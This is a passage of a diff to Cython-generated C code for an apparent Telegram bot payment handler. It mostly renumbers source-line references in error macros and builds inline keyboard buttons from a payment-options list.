__PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); - __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 50, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 50, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 50, __pyx_L1_error) - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_BACK); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 51, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; @@ -4203,11 +4197,11 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __pyx_t_7 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 50, __pyx_L1_error) + if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 50, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; @@ -4228,7 +4222,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 50, __pyx_L1_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } @@ -4252,7 +4246,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } @@ -4267,12 +4261,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L5_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 47, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 48, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 47, __pyx_L1_error) + else __PYX_ERR(0, 48, __pyx_L1_error) } } @@ -4282,7 +4276,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C } - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; __pyx_t_5 = 0; @@ -4302,7 +4296,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } @@ -4310,24 +4304,24 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_12 = PyObject_Length(__pyx_t_1); if (unlikely(__pyx_t_12 == ((Py_ssize_t)-1))) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_12 = PyObject_Length(__pyx_t_1); if (unlikely(__pyx_t_12 == ((Py_ssize_t)-1))) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = PyInt_FromSsize_t(__pyx_t_12); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_1 = PyInt_FromSsize_t(__pyx_t_12); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_4 = PyTuple_New(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_4 = PyTuple_New(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_int_0)) __PYX_ERR(0, 55, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_int_0)) __PYX_ERR(0, 56, __pyx_L1_error); __Pyx_GIVEREF(__pyx_t_1); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error); __Pyx_INCREF(__pyx_int_2); __Pyx_GIVEREF(__pyx_int_2); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 2, __pyx_int_2)) __PYX_ERR(0, 55, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 2, __pyx_int_2)) __PYX_ERR(0, 56, __pyx_L1_error); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (likely(PyList_CheckExact(__pyx_t_1)) || PyTuple_CheckExact(__pyx_t_1)) { @@ -4335,9 +4329,9 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __pyx_t_12 = 0; __pyx_t_13 = NULL; } else { - __pyx_t_12 = -1; __pyx_t_4 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_12 = -1; __pyx_t_4 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_13 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_4); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_13 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_4); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 56, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; for (;;) { @@ -4346,28 +4340,28 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C { Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_4); #if !CYTHON_ASSUME_SAFE_MACROS - if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 56, __pyx_L1_error) #endif if (__pyx_t_12 >= __pyx_temp) break; } #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS - __pyx_t_1 = PyList_GET_ITEM(__pyx_t_4, __pyx_t_12); __Pyx_INCREF(__pyx_t_1); __pyx_t_12++; if (unlikely((0 < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_1 = PyList_GET_ITEM(__pyx_t_4, __pyx_t_12); __Pyx_INCREF(__pyx_t_1); __pyx_t_12++; if (unlikely((0 < 0))) __PYX_ERR(0, 56, __pyx_L1_error) #else - __pyx_t_1 = __Pyx_PySequence_ITEM(__pyx_t_4, __pyx_t_12); __pyx_t_12++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_1 = __Pyx_PySequence_ITEM(__pyx_t_4, __pyx_t_12); __pyx_t_12++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); #endif } else { { Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_4); #if !CYTHON_ASSUME_SAFE_MACROS - if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 56, __pyx_L1_error) #endif if (__pyx_t_12 >= __pyx_temp) break; } #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS - __pyx_t_1 = PyTuple_GET_ITEM(__pyx_t_4, __pyx_t_12); __Pyx_INCREF(__pyx_t_1); __pyx_t_12++; if (unlikely((0 < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_1 = PyTuple_GET_ITEM(__pyx_t_4, __pyx_t_12); __Pyx_INCREF(__pyx_t_1); __pyx_t_12++; if (unlikely((0 < 0))) __PYX_ERR(0, 56, __pyx_L1_error) #else - __pyx_t_1 = __Pyx_PySequence_ITEM(__pyx_t_4, __pyx_t_12); __pyx_t_12++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_1 = __Pyx_PySequence_ITEM(__pyx_t_4, __pyx_t_12); __pyx_t_12++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); #endif } @@ -4377,7 +4371,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); - else __PYX_ERR(0, 55, __pyx_L1_error) + else __PYX_ERR(0, 56, __pyx_L1_error) } break; } @@ -4388,102 +4382,102 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __Pyx_GIVEREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_14 = PyObject_Length(__pyx_t_6); if (unlikely(__pyx_t_14 == ((Py_ssize_t)-1))) __PYX_ERR(0, 56, __pyx_L1_error) + __pyx_t_14 = PyObject_Length(__pyx_t_6); if (unlikely(__pyx_t_14 == ((Py_ssize_t)-1))) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = PyInt_FromSsize_t(__pyx_t_14); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 56, __pyx_L1_error) + __pyx_t_6 = PyInt_FromSsize_t(__pyx_t_14); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_3 = PyObject_RichCompare(__pyx_t_1, __pyx_t_6, Py_LT); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 56, __pyx_L1_error) + __pyx_t_3 = PyObject_RichCompare(__pyx_t_1, __pyx_t_6, Py_LT); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 56, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_2) { - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 57, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 59, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 59, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_7); - __pyx_t_11 = __Pyx_PyObject_GetItem(__pyx_t_7, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 59, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_11); - __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - __pyx_t_7 = __Pyx_PyObject_Dict_GetItem(__pyx_t_11, __pyx_n_u_text); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 59, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_7); - __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_t_7) < 0) __PYX_ERR(0, 59, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_11 = __Pyx_PyObject_GetItem(__pyx_t_7, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - __pyx_t_7 = __Pyx_PyObject_Dict_GetItem(__pyx_t_11, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_Dict_GetItem(__pyx_t_11, __pyx_n_u_text); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_t_7, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 60, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_11); - __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - __pyx_t_7 = __Pyx_PyUnicode_Concat(__pyx_n_u_crypto, __pyx_t_11); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 60, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_7); - __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_callback_data, __pyx_t_7) < 0) __PYX_ERR(0, 59, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_t_7) < 0) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_11 = __Pyx_PyObject_GetItem(__pyx_t_7, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_t_7 = __Pyx_PyObject_Dict_GetItem(__pyx_t_11, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_t_7, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_t_7 = __Pyx_PyUnicode_Concat(__pyx_n_u_crypto, __pyx_t_11); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_callback_data, __pyx_t_7) < 0) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + + __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 63, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_10 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 63, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_8 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_t_10); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 63, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_t_10); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - __pyx_t_10 = __Pyx_PyObject_Dict_GetItem(__pyx_t_8, __pyx_n_u_text); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 63, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_Dict_GetItem(__pyx_t_8, __pyx_n_u_text); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_10) < 0) __PYX_ERR(0, 63, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_10) < 0) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_8 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 64, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); - __pyx_t_11 = __Pyx_PyObject_GetItem(__pyx_t_10, __pyx_t_8); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 64, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_GetItem(__pyx_t_10, __pyx_t_8); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - __pyx_t_8 = __Pyx_PyObject_Dict_GetItem(__pyx_t_11, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 64, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyObject_Dict_GetItem(__pyx_t_11, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_t_8, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 64, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_t_8, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - __pyx_t_8 = __Pyx_PyUnicode_Concat(__pyx_n_u_crypto, __pyx_t_11); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 64, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyUnicode_Concat(__pyx_n_u_crypto, __pyx_t_11); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_t_8) < 0) __PYX_ERR(0, 63, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_t_8) < 0) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 62, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 63, 